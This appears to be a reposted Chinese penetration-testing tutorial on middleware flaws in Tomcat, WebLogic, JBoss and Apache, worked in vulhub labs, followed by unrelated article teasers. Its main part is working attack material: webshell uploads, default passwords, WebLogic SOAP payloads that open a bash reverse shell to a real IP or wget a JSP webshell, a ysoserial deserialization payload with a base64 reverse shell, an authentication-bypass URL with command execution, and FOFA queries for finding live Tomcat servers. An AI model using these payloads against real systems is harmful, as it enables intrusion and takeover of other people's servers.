常见中间件漏洞（tomcat,weblogic,jboss,apache）

news2025/1/8 14:12:36

先准备好今天要使用的木马文件

使用哥斯拉生成木马

压缩成zip文件 改名为war后缀

一：Tomcat

1.1CVE-2017-12615

环境搭建

cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d

1.首页抓包，修改为 PUT 方式提交 发送shell.jsp 和木马内容 201创建成功

2.访问木马页面空白 就说明上传成功

3.回到哥斯拉 连接 密码和密钥 生成木马没改 这里连接也不用改

进入终端执行命令

1.2后台弱口令部署var包

环境搭建

cd vulhub-master/tomcat/tomcat8 
docker-compose up -d

1.制作WAR包

制作WAR包，将JSP⽊⻢压缩为ZIP格式，然后修改后缀为war就可以了。

var包相当于压缩包

2.弱密码登录 tomcat tomcat

3.上传war文件并访问

选择var文件用来上传

访问木马地址 页面空白 说明上传成功

4.连接马

1.3 CVE_2020-1938

环境搭建

cd vulhub-master/tomcat/CVE-2020-1938 
docker-compose up -d

1.POC 攻击

tomcat有一个配置文件 /web_inf/web.xml

python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 靶机IP

1.4实战挖洞

fofa
app=
"tomcat"
server=
"Apache Tomcat" && body=
"Apache Tomcat"

  
识别：如果给你⼀个⽹站你怎么判断它使⽤了tomcat这个中间件呢

1.默认端⼝ 8080 2.浏览器的指纹识别插件
3.默认管理路由 /manage/html
4.server头 Apache Tomcat

指纹识别 识别网站用了什么技术

tomcat 8 /manage里面有内容 9删掉了后台

二、Weblogic

2.1后台弱口令GetShell

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

这个报错页面是默认的weblogic页面

1.进入/console 弱口令登录

默认账号密码：weblogic/Oracle@123

weblogic常⽤弱⼝令：https://cirt.net/passwords?criteria=weblogic

这⾥注意， 单个账号错误密码5次之后就会⾃动锁定。

访问 登录成功

2.上传马

一直点下一步 完成安装

上传以后访问 页面空白说明上传成功

3.连接马

2.2CVE-2017-3506

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

1.验证是否存在wls-wsat组件

访问以下⽬录中的⼀种，有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2.在当前页面抓包之后，添加下面请求包，反弹shell

右键 改变请求方法

添加请求数据包

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/124.221.58.83/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

3.本机开启监听

nc -lvvp 8888

修改 Content-Type: text/xml

端口正常

2.3 CVE-2019-2725

环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d

1.漏洞验证

_async/AsyncResponseService

2.远程部署马

访问部署马81端口

3.在当前页面抓包 , 修改请求包 , 写入shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
木马位置：http://ip:7001/bea_wls_internal/678.jsp

4.访问木马 页面空白说明文件上传成功

5.连接马

2.4 CVE-2018-2628

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628 
docker-compose up -d

1.使用漏洞利用工具检查

2.5 CVE-2018-2894

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894 
docker-compose up -d

这⾥环境后台密码是随机得，获取密码: docker-compose logs | grep password

进入/console 登录

1.设置Web服务测试开启点击保存

2.进入 config.do ⽂件进⾏设置

121.40.229.129:7001/ws_utc/config.do

进入修改当前工作目录

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

3.上传马

提交后在查看器查找木马上传位置

4.访问马 页面空白说明上传成功

5.连接马

2.6 CVE-2020-14882

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882 
docker-compose up -d

1.访问管理控制台

/console 来到工作台

2.使用url绕过登录

/console/css/%252e%252e%252fconsole.portal

第一次进入404正常

继续访问 即可绕过登录

3.远程加载xml 获取shell

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

404 是正常的 来到终端查看是否上传成功

反弹shell

设置反弹shell

改名字

重新开端口监听6666

命令实在1.xml里面写的收到反弹shell

三：Jboss

3.1 CVE-2015-7501

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

1.POC 访问地址

http://121.40.229.129:8080/invoker/JMXInvokerServlet

返回如下，说明接口开放，此接口存在反序列化漏洞

2.下载 ysoserial ⼯具进行漏洞利用

先本地开启反弹shell的监听接口

将反弹shell进⾏base64编码

bash -i >& /dev/tcp/8.155.8.82/8888 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzg4ODggMD4mMQ==

curl http://8.155.7.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

工具目录进入cmd

java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1NS44LjgyLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser

3.执行命令

curl http://8.155.8.82:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

4.成功反弹

3.2 CVE-2017-7504

环境搭建

cd vulhub-master/jboss/CVE-2017-7504 
docker-compose up -d

1.测试漏洞

/jbossmq-httpil/HTTPServerILServlet

2.工具探测

python3 jexboss.py -u http://8.155.8.82:8080

3.3 CVE-2017-12149

环境搭建

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

1.访问漏洞页面

2.验证是否存在漏洞 , 访问

http://8.155.8.82:8080/invoker/readonly

访问地址:/invoker/readonly
该漏洞出现在/invoker/readonly中 ，服务器将用户post请求内容进行反序列化

返回500，说明页面存在，此页面存在反序列化漏洞

3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可

3.4 Administration Console弱口令

环境搭建

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

密码文件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户：密码admin:vulhub

访问地址：/admin-console/login.seam

登录后台 上传木马文件

进行木马连接

http://IP:8080/shell/shell.jsp

3.5 低版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

访问 /jmx-console 正常不需要登录 这里漏洞不存在 需要登录admin admin

远程部署war包

python3 -m http.server 81

war包访问成功

来到靶机

 http://8.155.8.82:81/java.war //填入ParamValue

访问

进行木马连接

3.6 高版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-12149 
docker-compose up -d

访问 /jmx-console

因为使⽤环境不存在该漏洞所以需要输⼊账户密码：admin vulhub

搭建远程部署 , 部署远程war包地址

在JMX Console⻚⾯点击jboss.system链接，在Jboss.system⻚⾯中点击service=MainDeployer

进⼊service=MainDeployer⻚⾯之后，找到methodIndex为17或19的deploy 填写远程war包地址进⾏

远程部署

进行木马连接

四、Apache

环境搭建 拉取并开启

docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

开启靶场

1.使用POC

2.工具验证

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2272615.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

嵌入式科普(26)为什么heap通常8字节对齐

嵌入式科普(26)为什么heap通常8字节对齐

目录 一、概述 二、newlibc heap 2.1 stm32cubeide .ld heap 2.2 e2studio .ld heap 三、glibc源码 3.1 Ubuntu c heap 四、总结 一、概述 结论&#xff1a;在嵌入式c语言中&#xff0c;heap通常8字节对齐 本文主要分析这个问题的分析过程 二、newlibc heap newlibc…
阅读更多...
大数据-240 离线数仓 - 广告业务 测试 ADS层数据加载 DataX数据导出到 MySQL

大数据-240 离线数仓 - 广告业务 测试 ADS层数据加载 DataX数据导出到 MySQL

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; Java篇开始了&#xff01; 目前开始更新 MyBatis&#xff0c;一起深入浅出&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff0…
阅读更多...
CTF杂项——[NSSRound#4 SWPU]Pixel_Signin

CTF杂项——[NSSRound#4 SWPU]Pixel_Signin

得到一个像素点 提取像素点 脚本 from PIL import Image result open(1.txt,w) img Image.open("Pixel_Signin.png") img img.convert(RGB) for i in range(31):for j in range(31):r,g,b img.getpixel((j,i))print(r,g,b,end ,fileresult) 运行之后得到 把它…
阅读更多...
Harmony开发【笔记1】报错解决（字段名写错了。。）

Harmony开发【笔记1】报错解决（字段名写错了。。）

在利用axios从网络接收请求时&#xff0c;发现返回obj的code为“-1”&#xff0c;非常不解&#xff0c;利用console.log测试&#xff0c;更加不解&#xff0c;可知抛出错误是 “ E 其他错误: userName required”。但是我在测试时&#xff0c;它并没有体现为空&#xff0c;…
阅读更多...
springCloudGateWay使用总结

springCloudGateWay使用总结

1、什么是网关 功能: ①身份认证、权限验证 ②服务器路由、负载均衡 ③请求限流 2、gateway搭建 2.1、创建一个空项目 2.2、引入依赖 2.3、加配置 3、断言工厂 4、过滤工厂 5、全局过滤器 6、跨域问题
阅读更多...
韩国机场WebGIS可视化集合Google遥感影像分析

韩国机场WebGIS可视化集合Google遥感影像分析

目录 前言 一、相关基础数据介绍 1、韩国的机场信息 2、空间数据准备 二、Leaflet叠加Google地图 1、叠加google地图 2、空间点的标记及展示 3、韩国机场空间分布 三、相关成果展示 1、务安国际机场 2、有同类问题的机场 四、总结 前言 12月29日8时57分左右务安国际机…
阅读更多...
电子电气架构 --- 设计车载充电机的关键考虑因素

电子电气架构 --- 设计车载充电机的关键考虑因素

我是穿拖鞋的汉子，魔都中坚持长期主义的汽车电子工程师。 老规矩，分享一段喜欢的文字，避免自己成为高知识低文化的工程师： 简单，单纯，喜欢独处，独来独往，不易合同频过着接地气的生活，除了生存温饱问题之外，没有什么过多的欲望，表面看起来很高冷，内心热情，如果你身…
阅读更多...
python进阶06：MySQL

python进阶06：MySQL

课后大总结 Day1 一、数据库命令总结 1.连接数据库 连接数据库进入mysql安装目录打开bin文件夹&#xff0c;输入cmd(此命令后无分号)mysql.exe -u root -ppassword命令后输入密码:root 设置密码set passwordpassword("root123"); 查看所有数据库show databases; …
阅读更多...
php反序列化原生态 ctfshow练习 字符串逃逸

php反序列化原生态 ctfshow练习 字符串逃逸

web262 拿着题审计一下 <?php error_reporting(0); class message{public $from;public $msg;public $to;public $tokenuser;public function __construct($f,$m,$t){$this->from $f;$this->msg $m;$this->to $t;} }$f $_GET[f]; $m $_GET[m]; $t $_GET[t…
阅读更多...
探秘前沿科技：RFID 与 NFC，开启智能识别新篇

探秘前沿科技：RFID 与 NFC，开启智能识别新篇

RFID&#xff08;射频识别&#xff09;与NFC&#xff08;近场通信&#xff09;作为两种基于射频技术的无线通信方式&#xff0c;在现代社会中发挥着越来越重要的作用。尽管它们都具备非接触式识别和通信的能力&#xff0c;但在工作原理、应用场景、技术细节等方面存在着显著的差…
阅读更多...
【04】优雅草央千澈详解关于APP签名以及分发-上架完整流程-第四篇安卓APP上架之vivo商店-小米商店，oppo商店，应用宝

【04】优雅草央千澈详解关于APP签名以及分发-上架完整流程-第四篇安卓APP上架之vivo商店-小米商店，oppo商店，应用宝

【04】优雅草央千澈详解关于APP签名以及分发-上架完整流程-第四篇安卓APP上架之vivo商店-小米商店&#xff0c;oppo商店&#xff0c;应用宝 背景介绍 接第三篇上架华为&#xff0c;由于华为商店较为细致&#xff0c;本篇幅介绍其他4类商店相对简要一点&#xff0c;剩下其他更…
阅读更多...
OpenCV计算机视觉 06 图像轮廓检测（轮廓的查找、绘制、特征、近似及轮廓的最小外接圆外接矩形）

OpenCV计算机视觉 06 图像轮廓检测（轮廓的查找、绘制、特征、近似及轮廓的最小外接圆外接矩形）

目录 图像轮廓检测 轮廓的查找 轮廓的绘制 轮廓的特征 面积 周长 根据面积显示特定轮廓 轮廓的近似 给定轮廓的最小外接圆、外接矩形 外接圆 外接矩形 图像轮廓检测 轮廓的查找 API函数 image, contours, hierarchy cv2.findContours(img, mode, method) 代入参…
阅读更多...
ROS2 跨机话题通信问题（同一个校园网账号）

ROS2 跨机话题通信问题（同一个校园网账号）

文章目录 写在前面的话校园网模式&#xff08;失败&#xff09;手机热点模式&#xff08;成功&#xff09; 我的实验细节实验验证1、ssh 用户名IP地址 终端控制2、互相 ping 通 IP3、ros2 run turtlesim turtlesim_node/turtle_teleop_key4、ros2 multicast send/receive5、从机…
阅读更多...
web3与AI结合-Sahara AI 项目介绍

web3与AI结合-Sahara AI 项目介绍

背景介绍 Sahara AI 于 2023 年创立&#xff0c;是一个 "区块链AI" 领域的项目。其项目愿景是&#xff0c;利用区块链和隐私技术将现有的 AI 商业模式去中心化&#xff0c;打造公平、透明、低门槛的 “协作 AI 经济” 体系&#xff0c;旨在重构新的利益分配机制以及…
阅读更多...
【C++】你了解异常的用法吗？

【C++】你了解异常的用法吗？

文章目录 Ⅰ. C语言传统的处理错误的方式Ⅱ. C异常概念Ⅲ. 异常的使用1、异常的抛出和匹配原则2、在函数调用链中异常栈展开匹配原则3、异常的重新抛出4、异常安全5、异常规范 Ⅳ. 自定义异常体系Ⅴ. C标准库的异常体系Ⅵ. 异常的优缺点1、异常的优点2、异常的缺点3、总结 Ⅰ. …
阅读更多...
Matlab仿真径向受压圆盘光弹图像

Matlab仿真径向受压圆盘光弹图像

Matlab仿真径向受压圆盘光弹图像-十步相移法 主要参数 % 定义圆盘参数 R 15; % 圆盘半径&#xff0c;单位&#xff1a;mm h 5; % 圆盘厚度&#xff0c;单位&#xff1a;mm P 300; % 径向受压载荷大小&#xff0c;单位&#xff…
阅读更多...
游戏引擎学习第75天

游戏引擎学习第75天

仓库:https://gitee.com/mrxiao_com/2d_game_2 Blackboard: 处理楼梯通行 为了实现楼梯的平滑过渡和角色的移动控制&#xff0c;需要对楼梯区域的碰撞与玩家的运动方式进行优化。具体的处理方式和遇到的问题如下&#xff1a; 楼梯区域的过渡&#xff1a; 在三维空间中&#x…
阅读更多...
算法的学习笔记—不用常规控制语句求 1 到 n 的和

算法的学习笔记—不用常规控制语句求 1 到 n 的和

&#x1f600;前言 在算法编程中&#xff0c;有时我们会遇到一些特殊的限制条件&#xff0c;这些限制会迫使我们跳出常规思维。本文讨论的问题就是一个典型案例&#xff1a;在不能使用基本控制语句的情况下&#xff0c;如何求解 1 到 n 的和。这个问题不仅考验编程技巧&#xf…
阅读更多...
网络协议安全的攻击手法

网络协议安全的攻击手法

1.使用SYN Flood泛洪攻击&#xff1a; SYN Flood(半开放攻击)是最经典的ddos攻击之一&#xff0c;他利用了TCP协议的三次握手机制&#xff0c;攻击者通常利用工具或控制僵尸主机向服务器发送海量的变源端口的TCP SYN报文&#xff0c;服务器响应了这些报文后就会生成大量的半连…
阅读更多...
141.《mac m1安装mongodb详细教程》

141.《mac m1安装mongodb详细教程》

文章目录 下载从官网下载安装包 下载后双击解压出文件夹安装文件名修改为 mongodb配置data存放位置和日志log的存放位置启动方式一方式二方式二:输入mongo报错以及解决办法 本人电脑 m2 pro,属于 arm 架构 下载 官网地址: mongodb官网 怎么查看自己电脑应该下载哪个版本,输入…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023